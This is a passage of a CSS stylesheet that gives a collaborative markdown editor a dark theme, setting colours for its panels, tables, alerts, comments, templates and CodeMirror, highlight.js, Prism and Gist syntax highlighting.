  .btn-default:active:hover,
  .open>.dropdown-toggle.btn-default.focus,
  .open>.dropdown-toggle.btn-default:focus,
  .open>.dropdown-toggle.btn-default:hover {
    background: #737373;
  }

  .btn-default:hover {
    color: #fff;
    background-color: #7d7d7d;
    border-color: #6a6a6a;
  }

  .overview-widget-group .btn.active {
    background-color: #6a6a6a;
    color: #eee;
  }

  .overview-widget-group .btn:hover {
    background-color: #7d7d7d;
    color: #eee;
    border-color: #636363;
  }

  .overview-widget-group .slider.round {
    border-color: #ccc;
  }

  .overview-widget-group .slider.round:before {
    border-color: #ccc;
  }

  .overview-widget-group input:checked+.slider {
    background-color: #ccc;
  }

  .ui-category-description-icon a {
    color: #eee;
  }

  .item .ui-history-pin.active {
    color: #f00;
  }

  .ui-history-close {
    color: #eee;
    opacity: 0.5;
  }

  .pagination>li>a,
  .pagination>li>span {
    color: #eee;
    background-color: #2e2e2e;
    border-color: #6a6a6a;
  }

  .pagination>li>a:hover {
    color: #fff;
    background-color: #7d7d7d;
    border-color: #6a6a6a;
  }

  .pagination>.disabled>a,
  .pagination>.disabled>a:focus,
  .pagination>.disabled>a:hover,
  .pagination>.disabled>span,
  .pagination>.disabled>span:focus,
  .pagination>.disabled>span:hover {
    color: #eee;
    background-color: #2e2e2e;
    border-color: #6a6a6a;
  }

  .pagination.dark>li>a,
  .pagination.dark>li>span {
    color: #aaa;
  }

  /*--------------- new overview ---------------*/
.overview-component .list li .item {
  background: #1c1c1c;
  color: #fff;
}

.overview-component .list li:hover .item,
.overview-component .list li:focus .item {
  background: #404040;
}

.overview-component .list li p {
  color: #ccc;
}

.overview-component .list li .item {
  color: #888888;
}

.overview-component .ui-overview-pin {
  opacity: 1;
}

  /*--------------- settings ---------------*/
  .section .form-horizontal .form-group .btn-default {
    font-size: 16px;
    border-color: #6d6d6d;
    background-color: #333;
    color: #FFF;
  }

  .section .form-horizontal .form-group .btn-default:hover,
  .section .form-horizontal .form-group .btn-default:focus {
    background-color: #737373;
    color: #FFF;
  }

  .section .form-horizontal .form-control:focus {
    border-color: #bbb;
  }

  /*--------------- share view ---------------*/
  #notificationLabel,
  .ui-infobar .btn.ui-edit {
    color: #eee;
    border-color: #6a6a6a;
  }

  .ui-infobar__user-info li {
    color: #bbb;
  }

  footer {
    background: #101010;
    color: #bbb;
    border-top: 1px solid #454545;
  }

  footer a {
    color: #bbb;
  }

  /*--------------- doc view ---------------*/
  .markdown-body h1,
  .markdown-body h2,
  .markdown-body h3,
  .markdown-body h4,
  .markdown-body h5,
  .markdown-body h6,
  #doc>h1 {
    color: #ddd;
    border-color: #777 !important;
  }

  .markdown-body hr {
    background-color: #7e7e7e;
  }

  .h1 .small,
  .h1 small,
  .h2 .small,
  .h2 small,
  .h3 .small,
  .h3 small,
  .h4 .small,
  .h4 small,
  .h5 .small,
  .h5 small,
  .h6 .small,
  .h6 small,
  h1 .small,
  h1 small,
  h2 .small,
  h2 small,
  h3 .small,
  h3 small,
  h4 .small,
  h4 small,
  h5 .small,
  h5 small,
  h6 .small,
  h6 small {
    color: #ddd;
  }

  .markdown-body p {
    color: #ddd;
  }

  .markdown-body a {
    color: #7bf;
  }

  .markdown-body a code {
    color: #7bf !important;
  }

  .markdown-body ul li,
  .markdown-body ol li {
    color: #ddd;
  }

  .markdown-body blockquote {
    color: #ddd;
    border-left-color: #777;
    font-size: 16px;
  }

  .markdown-body code,
  code {
    color: #dfdfdf !important;
    background-color: #424a55;
  }

  .markdown-body code {
    padding: 1px 2px;
  }

  .markdown-body pre {
    background-color: #1e1e1e;
    border: 1px solid #555 !important;
    color: #dfdfdf;
  }

  .markdown-body details {
    margin-bottom: 16px;
  }

  blockquote .small,
  blockquote footer,
  blockquote small {
    color: #bbb;
  }

  .mark,
  mark {
    background-color: rgba(255, 255, 0, 0.32) !important;
    color: #ddd;
    margin: .1em;
    padding: .1em .2em;
  }

  /* Todo list */
  .task-list-item-checkbox {
    margin: 0.18em 0 0.2em -1.3em !important;
  }

  .task-list-item input[type=checkbox] {
    -webkit-appearance: none;
    -moz-appearance: none;
    appearance: none;
    position: relative;
    top: -1px;
    margin: 0 1rem 0 0;
    cursor: pointer;
  }

  .task-list-item input[type=checkbox]::before {
    -webkit-transition: all 0.1s ease-in-out;
    -moz-transition: all 0.1s ease-in-out;
    transition: all 0.1s ease-in-out;
    content: "";
    position: absolute;
    left: 0;
    z-index: 1;
    width: 16px;
    height: 16px;
    border: 2px solid #F44336;
  }

  .task-list-item input[type=checkbox]:checked::before {
    -webkit-transform: rotate(-48deg);
    -moz-transform: rotate(-48deg);
    -ms-transform: rotate(-48deg);
    -o-transform: rotate(-48deg);
    transform: rotate(-48deg);
    height: 9px;
    border-color: #00E676;
    border-top-style: none;
    border-right-style: none;
  }

  .task-list-item input[type=checkbox]::after {
    content: "";
    position: absolute;
    top: -0.125rem;
    left: 0;
    width: 16px;
    height: 16px;
    background: #333;
    cursor: pointer;
  }

  /* table */
  .markdown-body table tr {
    background-color: #1e1e1e;
    border-color: #626262;
  }

  .markdown-body table tr:last-child {
    border-bottom: 1px solid #626262;
  }

  .markdown-body table tr:nth-child(2n) {
    background-color: #333;
  }

  .markdown-body table tr th {
    color: #64B5F6;
  }

  .markdown-body table th,
  .markdown-body table td {
    border: none;
    border-color: #626262;
  }

  .markdown-body table tr td {
    color: #ddd;
  }

  .markdown-body table tr th:first-child,
  .markdown-body table tr td:first-child {
    border-left: 1px solid #626262;
  }

  .markdown-body table tr th:last-child,
  .markdown-body table tr td:last-child {
    border-right: 1px solid #626262;
  }

  .markdown-body pre.flow-chart,
  .markdown-body pre.sequence-diagram,
  .markdown-body pre.graphviz,
  .markdown-body pre.mermaid,
  .markdown-body pre.abc {
    background-color: #fff !important;
  }

  /* alert */
  .alert-danger h1,
  .alert-danger h2,
  .alert-danger h3,
  .alert-danger h4,
  .alert-danger h5,
  .alert-danger h6,
  .alert-danger p,
  .alert-danger mark,
  .alert-danger ul li,
  .alert-danger ol li {
    color: #721c24;
  }

  .alert-danger hr {
    background-color: #721c24;
  }

  .alert-warning h1,
  .alert-warning h2,
  .alert-warning h3,
  .alert-warning h4,
  .alert-warning h5,
  .alert-warning h6,
  .alert-warning p,
  .alert-warning mark,
  .alert-warning ul li,
  .alert-warning ol li {
    color: #856404;
  }

  .alert-warning hr {
    background-color: #856404;
  }

  .alert-success h1,
  .alert-success h2,
  .alert-success h3,
  .alert-success h4,
  .alert-success h5,
  .alert-success h6,
  .alert-success p,
  .alert-success mark,
  .alert-success ul li,
  .alert-success ol li {
    color: #155724;
  }

  .alert-success hr {
    background-color: #155724;
  }

  .alert-info h1,
  .alert-info h2,
  .alert-info h3,
  .alert-info h4,
  .alert-info h5,
  .alert-info h6,
  .alert-info p,
  .alert-info mark,
  .alert-info ul li,
  .alert-info ol li {
    color: #004085;
  }

  .alert-info hr {
    background-color: #004085;
  }

  .alert a {
    color: #002752;
    font-weight: 700;
  }

  .alert h1:first-child,
  .alert h2:first-child,
  .alert h3:first-child,
  .alert h4:first-child,
  .alert h5:first-child,
  .alert h6:first-child {
    margin-top: 0;
  }

  .markdown-body .alert>p {
    margin-top: 0px;
    margin-bottom: 10px;
  }

  .markdown-body .alert>ul,
  .markdown-body .alert>ol {
    margin-bottom: 16px;
  }

  .markdown-body .alert>*:last-child {
    margin-bottom: 0;
  }

  .alert-warning {
    background-color: #fff3cd;
    border-color: #ffeeba;
  }

  .alert-danger mark {
    background-color: #ffb7b7 !important;
  }

  .alert-warning mark {
    background-color: #ffe966 !important;
  }

  .alert-success mark {
    background-color: #b9e990 !important;
  }

  .alert-info mark {
    background-color: #b1d6ff !important;
  }

  /* scroll bar */
  .ui-edit-area .ui-resizable-handle.ui-resizable-e {
    background-color: #303030;
    border: 1px solid #303030;
    box-shadow: none;
  }

  /* info bar */
  .ui-infobar {
    color: #999;
  }

  /* permission */
  .permission-popover-btn-group .btn.focus,
  .permission-popover-btn-group .btn:active,
  .permission-popover-btn-group .btn:focus,
  .permission-popover-btn-group .btn.active {
    background-color: #6a6a6a !important;
    color: #eee !important;
    border-color: #555 !important;
  }

  .permission-popover-btn-group .btn:hover,
  .permission-popover-btn-group .btn.active:hover {
    background-color: #7d7d7d !important;
    color: #eee !important;
    border-color: #636363 !important;
  }

  .ui-delete-note:hover,
  .ui-delete-note:focus,
  .ui-delete-note:active {
    background-color: #dc3545 !important;
  }

  .ui-invitee-invite {
    border-color: #8e8e8e !important;
  }

  .ui-invitee-invite:hover,
  .ui-invitee-invite:focus {
    background-color: #737373;
    color: #eee !important;
  }

  .ui-no-invitee-label {
    color: #ccc !important;
  }

  .select2-container {
    background: #202020;
  }

  .select2-container-multi .select2-choices .select2-search-field input {
    color: #eee;
  }

  .select2-container-multi .select2-choices .select2-search-field input.select2-active {
    color: #000;
  }

  .select2-drop {
    background: #202020;
    color: #eee;
  }

  .select2-results .select2-no-results,
  .select2-results .select2-searching,
  .select2-results .select2-ajax-error,
  .select2-results .select2-selection-limit {
    background: #202020;
  }

  /* table of contents block*/
  .ui-toc-dropdown {
    width: 42vw;
    max-height: 90vh;
    overflow: auto;
    text-align: inherit;
  }

  /* table of contents text*/
  .ui-toc-dropdown .nav>li>a {
    font-size: 14px;
    font-weight: bold;
    color: #ddd;
  }

  /* table of contents text: active*/
  .ui-toc-dropdown .nav>.active:focus>a,
  .ui-toc-dropdown .nav>.active:hover>a,
  .ui-toc-dropdown .nav>.active>a {
    color: #7bf;
    border-left-color: #7bf;
  }

  /* table of contents text: focus, hover*/
  .ui-toc-dropdown .nav>li>a:focus,
  .ui-toc-dropdown .nav>li>a:hover {
    color: #7bf;
    border-left-color: #7bf;
  }

  /* drop down floating table of contents */
  .ui-toc-dropdown.dropdown-menu {
    background: #333;
  }

  .toc-menu a {
    color: #ddd;
  }

  .toc-menu a:focus,
  .toc-menu a:hover {
    color: #7bf;
  }


  /*--------------- editor ---------------*/
  .cm-m-markdown {
    color: #ddd;
  }

  .cm-s-one-dark .cm-header,
  .cm-m-xml.cm-attribute {
    color: #ffa653;
  }

  .cm-m-markdown.cm-variable-3 {
    color: #ff7e7e;
  }

  .cm-s-one-dark .cm-string,
  .cm-s-one-dark .cm-variable-2,
  .cm-s-one-dark .cm-m-markdown.cm-url{
    color: #7bf;
  }

  .cm-s-one-dark .cm-m-markdown.cm-link {
    color: #b0ee83;
  }

  .cm-s-one-dark .CodeMirror-linenumber {
    color: #666;
  }

  .cm-strong {
    color: #f4511e;
  }

  .cm-s-one-dark .cm-comment {
    color: #a9a9a9;
  }

  .cm-matchhighlight {
    color: #ffea00;
  }

  .cm-positive {
    color: #11bf64;
  }

  .cm-negative {
    color: #ff3e3e;
  }

  .dropdown-menu.CodeMirror-other-cursor {
    border: 2px solid #4d4d4d;
    background-color: #202020;
  }

  .dropdown-menu.CodeMirror-other-cursor li a {
    color: #ececec;
  }

  /*--------------- book mode ---------------*/
  .topbar {
    background: #1e1e1e;
  }

  .btn.focus,
  .btn:focus,
  .btn:hover {
    color: #fff;
    background-color: #333;
  }

  .summary {
    background: #1e1e1e;
  }

  .summary,
  .toolbar {
    background: #1e1e1e !important;
    border-color: #4d4d4d !important;
  }

  .toolbar i {
    color: #fff;
  }

  .summary h1,
  .summary h2,
  .summary h3 .summary hr {
    color: #ddd;
    border-color: #777 !important;
  }

  .summary .nav>li>a {
    color: #7bf;
  }

  .summary .nav-pills>li.active>a,
  .summary .nav-pills>li.active>a:focus,
  .summary .nav-pills>li.active>a:hover {
    color: #ff9100;
  }

  .ui-summary-search {
    font-size: 16px;
    border: 1px solid #6D6D6D;
    background-color: #333;
    color: #FFF;
  }

  .summary h1,
  .summary h2,
  .summary h3,
  .summary h4,
  .summary h5,
  .summary h6 {
    border-color: #454545;
  }

  /* fix body background color to dark */
  div[class$=container-mask] {
    background: #1e1e1e;
    z-index: 1;
    display: block;
  }

  /* notification */
  .dropdown.ui-notification .ui-notification-label,
  .dropdown.ui-invitee .ui-invitee-label {
    color: #eee;
    border-color: #6a6a6a;
  }

  .ui-notification .dropdown-menu {
    border-top: 1px solid #555;
  }

  /*--------------- help ---------------*/
  .modal-header {
    background-color: #2a2a2a;
  }

  .panel-default {
    border-color: #6d6d6d;
  }

  .panel-default>.panel-heading {
    background-color: #2a2a2a;
    color: #eee;
    border-color: #6d6d6d;
  }

  .panel-body {
    background: #2e2e2e;
  }

  .panel-body a {
    color: #7bf;
  }

  .table>tbody>tr>td,
  .table>tbody>tr>th,
  .table>tfoot>tr>td,
  .table>tfoot>tr>th,
  .table>thead>tr>td,
  .table>thead>tr>th {
    border-color: #6d6d6d;
  }

  /*--------------- comment ---------------*/
  .ui-comment-container .ui-comment-header {
    background-color: #2a2a2a;
    color: #eee;
    border-color: #6d6d6d;
  }

  .ui-comment-container {
    background-color: #2e2e2e;
    border-color: #6d6d6d;
  }

  .ui-comment-container .ui-comments-container .ui-comment .comment-author {
    color: #eee;
  }

  .ui-comment-container .ui-comments-container .ui-comment .timestamp {
    color: #aaa;
  }

  .ui-comment-container .ui-comments-container .ui-comment .comment-content {
    color: #eee;
  }

  .ui-comment-container .ui-comments-container .ui-comment .comment-menu {
    color: #eee;
  }

  .ui-comment-container .ui-comments-container .ui-comment .comment-menu .comment-dropdown-menu {
    background: #222;
    color: #eee;
    border-color: #555;
  }

  .ui-comment-container .ui-comments-container .ui-comment .comment-menu .comment-dropdown-menu>div:hover {
    background-color: #555555;
    color: #eee;
  }

  .ui-comment-container .ui-comments-container .ui-comment .comment-menu:hover,
  .ui-comment-container .ui-comments-container .ui-comment .comment-menu:active,
  .ui-comment-container .ui-comments-container .ui-comment .comment-menu.active {
    background-color: #737373;
    color: #eee;
  }

  .ui-comment-container .ui-comment-input-container {
    background-color: #3c3c3c;
  }

  .ui-comment-container textarea {
    background-color: #3e4045;
    color: #eee;
    border: 1px solid #6d6d6d;
  }

  .ui-comment-container textarea::placeholder,
  .ui-comment-container textarea::-webkit-input-placeholder,
  .ui-comment-container textarea:-moz-placeholder,
  .ui-comment-container textarea::-moz-placeholder,
  .ui-comment-container textarea:-ms-input-placeholder {
    color: #eee;
  }

  @keyframes highlight {
    0% {
      background-color: #3c3c3c;
    }

    30% {
      background-color: #3c3c3c;
    }

    100% {
      background-color: transparent;
    }
  }

  /*--------------- template ---------------*/
  .template-content .modal-header {
    background: #2a2a2a;
  }

  .template-content .close {
    color: #fff;
  }

  .template-content .modal-title {
    color: #eee;
  }

  .template-content .ui-templates-container {
    border-color: #6d6d6d;
  }

  .ui-templates-container .ui-create-template-btn {
    background: #446fab;
    color: #fff;
  }

  .ui-template-list-filter .ui-template-list-filter-label,
  .ui-template-list-filter .ui-template-list-filter-label:hover {
    color: #eee;
  }

  .ui-template-list .list-group-item.active {
    background: #4d4d4d;
  }

  .ui-template-list .list-group-item.active:focus {
    background: #4d4d4d !important;
  }

  .list-group-item.active,
  .list-group-item.active:focus,
  .list-group-item.active:hover {
    color: #eee;
  }

  .ui-template-list .list-group-item .list-group-item-heading {
    color: #eee;
  }

  .ui-template-list .list-group-item.active .list-group-item-heading {
    color: #eee;
  }

  .ui-template-list .list-group-item:hover {
    background: #4d4d4d !important;
  }

  .ui-template-item-menu {
    color: #eee !important;
  }

  .ui-template-list .list-group-item {
    color: #fff;
  }

  .ui-template-list .list-group-item .dropdown-container.open {
    background-color: #2a2a2a;
  }

  .ui-template-list .list-group-item .dropdown-container:hover {
    background-color: #2a2a2a !important;
  }

  .template-menu .more-template {
    border-color: #6d6d6d;
  }

  .template-menu .more-template:hover {
    color: #eee;
    border-color: #6d6d6d;
  }

  /*--------------- code mirror ---------------*/
  .modal-content {
    background: #1f2226;
  }

  .modal-header {
    border-bottom: 1px solid #46484f;
  }

  .modal-footer {
    border-top: 1px solid #46484f;
  }

  a.list-group-item {
    background: #1f2226;
    color: #ddd;
    border: 1px solid #46484f;
  }

  a.list-group-item .list-group-item-heading {
    color: #ddd;
  }

  a.list-group-item:focus,
  a.list-group-item:hover {
    background: #434651;
    color: #ddd;
  }

  button.close {
    color: #ddd;
    opacity: .5;
  }

  .close:focus,
  .close:hover {
    color: #fff;
    opacity: .8;
  }

  .CodeMirror {
    background: #1f2226;
  }

  .CodeMirror-gutters {
    background: #1f2226;
    border-right: 1px solid rgba(204, 217, 255, 0.1);
  }

  .cm-s-default .cm-comment {
    color: #888;
  }

  .cm-s-default .cm-quote {
    color: #ddd;
  }

  .cm-s-default .cm-header {
    color: #ffa653;
  }

  .cm-s-default .cm-link {
    color: #b0ee83;
  }

  .cm-s-default .cm-string,
  .cm-s-default .cm-variable-2 {
    color: #7bf;
  }

  .cm-s-default .cm-def {
    color: #c678dd;
  }

  .cm-s-default .cm-number,
  .cm-s-default .cm-attribute,
  .cm-s-default .cm-qualifier,
  .cm-s-default .cm-plus,
  .cm-s-default .cm-atom {
    color: #eda35e;
  }

  .cm-s-default .cm-property,
  .cm-s-default .cm-variable,
  .cm-s-default .cm-variable-3,
  .cm-s-default .cm-operator,
  .cm-s-default .cm-bracket {
    color: #f76e79;
  }

  .cm-s-default .cm-keyword,
  .cm-s-default .cm-builtin,
  .cm-s-default .cm-tag {
    color: #98c379;
  }

  .modal-title {
    color: #ccc;
  }

  .modal-body {
    color: #ccc !important;
  }

  div[contenteditable]:empty:not(:focus):before {
    color: #aaa;
  }

  .CodeMirror pre {
    color: #ddd;
  }

  .CodeMirror pre span[style^="background-color: rgb(221, 251, 230)"] {
    background-color: #288c27 !important;
  }

  .CodeMirror pre span[style^="background-color: rgb(249, 215, 220)"] {
    background-color: #a52721 !important;
  }

  /*------- code highlight: Visual Stutdio Code theme for highlight.js -------*/
  .hljs {
    background: #1E1E1E;
    color: #DCDCDC;
  }

  .hljs-keyword,
  .hljs-literal,
  .hljs-symbol,
  .hljs-name {
    color: #569CD6;
  }

  .hljs-link {
    color: #569CD6;
    text-decoration: underline;
  }

  .hljs-built_in,
  .hljs-type {
    color: #4EC9B0;
  }

  .hljs-number,
  .hljs-class {
    color: #B8D7A3;
  }

  .hljs-string,
  .hljs-meta-string {
    color: #D69D85;
  }

  .hljs-regexp,
  .hljs-template-tag {
    color: #d16969;
  }

  .hljs-title {
    color: #dcdcaa;
  }

  .hljs-subst,
  .hljs-function,
  .hljs-formula {
    color: #DCDCDC;
  }

  .hljs-comment,
  .hljs-quote {
    color: #57A64A;
  }

  .hljs-doctag {
    color: #608B4E;
  }

  .hljs-meta,
  .hljs-meta-keyword,
  .hljs-tag {
    color: #9B9B9B;
  }

  .hljs-variable,
  .hljs-template-variable {
    color: #BD63C5;
  }

  .hljs-params,
  .hljs-attr,
  .hljs-attribute,
  .hljs-builtin-name {
    color: #9CDCFE;
  }

  .hljs-section {
    color: gold;
  }

  .hljs-emphasis {
    font-style: italic;
  }

  .hljs-strong {
    font-weight: bold;
  }

  /*
  .hljs-code {
    font-family:'Monospace';
  }
  */

  .hljs-bullet,
  .hljs-selector-tag,
  .hljs-selector-id,
  .hljs-selector-class,
  .hljs-selector-attr,
  .hljs-selector-pseudo {
    color: #D7BA7D;
  }

  .hljs-addition {
    background-color: #155a36;
    color: #dfdfdf;
    display: inline-block;
    width: 100%;
  }

  .hljs-deletion {
    background-color: #872e2e;
    color: #dfdfdf;
    display: inline-block;
    width: 100%;
  }

  /*---------- code highlight: Visual Stutdio Code theme for Prism.js ----------*/
  code[class*="language-"],
  pre[class*="language-"] {
    color: #DCDCDC;
  }

  :not(pre)>code[class*="language-"],
  pre[class*="language-"] {
    background: #1E1E1E;
  }

  .token.comment,
  .token.block-comment,
  .token.prolog,
  .token.cdata {
    color: #57A64A;
  }

  .token.doctype,
  .token.punctuation {
    color: #9B9B9B;
  }

  .token.tag,
  .token.entity {
    color: #569CD6;
  }

  .token.attr-name,
  .token.namespace,
  .token.deleted,
  .token.property,
  .token.builtin {
    color: #9CDCFE;
  }

  .token.function,
  .token.function-name {
    color: #dcdcaa;
  }

  .token.boolean,
  .token.keyword,
  .token.important {
    color: #569CD6;
  }

  .token.number {
    color: #B8D7A3;
  }

  .token.class-name,
  .token.constant {
    color: #4EC9B0;
  }

  .token.symbol {
    color: #f8c555;
  }

  .token.rule {
    color: #c586c0;
  }

  .token.selector {
    color: #D7BA7D;
  }

  .token.atrule {
    color: #cc99cd;
  }

  .token.string,
  .token.attr-value {
    color: #D69D85;
  }

  .token.char {
    color: #7ec699;
  }

  .token.variable {
    color: #BD63C5;
  }

  .token.regex {
    color: #d16969;
  }

  .token.operator {
    color: #DCDCDC;
    background: transparent;
  }

  .token.url {
    color: #67cdcc;
  }

  .token.important,
  .token.bold {
    font-weight: bold;
  }

  .token.italic {
    font-style: italic;
  }

  .token.entity {
    cursor: help;
  }

  .token.inserted {
    color: green;
  }

  /*---------- code highlight: dark theme for Gist ----------*/
  .gist .gist-file {
    border: 1px solid #555;
  }

  .gist .gist-data {
    background-color: #1e1e1e;
    border-bottom: 1px solid #555;
  }

  .gist .gist-meta {
    background-color: #424a55;
    color: #eee;
  }

  .gist .gist-meta a {
    color: #eee;
  }

  .gist .highlight {
    color: #eee;
    background-color: #1e1e1e;
  }

  .gist .blob-num {
    color: #afafaf;
  }

  .gist .blob-code-inner {
    color: #dfdfdf;
  }

  .pl-mb {
    color: #fff !important;
  }

  .pl-c {
    color: #57A64A !important;
  }

  /* comment */
  .pl-ent {
    color: #569CD6 !important;
  }

  /* entity */
  .pl-e {
    color: #9CDCFE !important;
  }

  .pl-en {
    color: #4EC9B0 !important;
  }

  /* entity attribute */
  .pl-smi {
    color: #9CDCFE !important;
  }

  .pl-k {
    color: #569cd6 !important;
  }

  .pl-c1,
  .pl-s .pl-v {
    color: #4EC9B0 !important;
  }

  .pl-pds,
  .pl-s,
  .pl-s .pl-pse .pl-s1,
  .pl-sr,
  .pl-sr .pl-cce,
  .pl-sr .pl-sra,
  .pl-sr .pl-sre,
  .pl-s .pl-s1 {
    color: #D69D85 !important;
  }

  .pl-s .pl-s1 .pl-pse {
    color: #c5dbff !important;
  }

  /* strings */
  .diff-table .pl-c,
  .diff-table .pl-ent,
  .diff-table .pl-e,
  .diff-table .pl-en,
  .diff-table .pl-pds,
  .diff-table .pl-s,
  .diff-table .pl-s .pl-s1,
  .diff-table .pl-s .pl-pse .pl-s1,
  .diff-table .pl-sr,
  .diff-table .pl-sr .pl-cce,
  .diff-table .pl-sr .pl-sra,
  .diff-table .pl-sr .pl-sre,
  .diff-table .pl-k,
  .diff-table .pl-smi,
  .diff-table .pl-c1,
  .diff-table .pl-v {
    color: #eee !important;
  }

</style>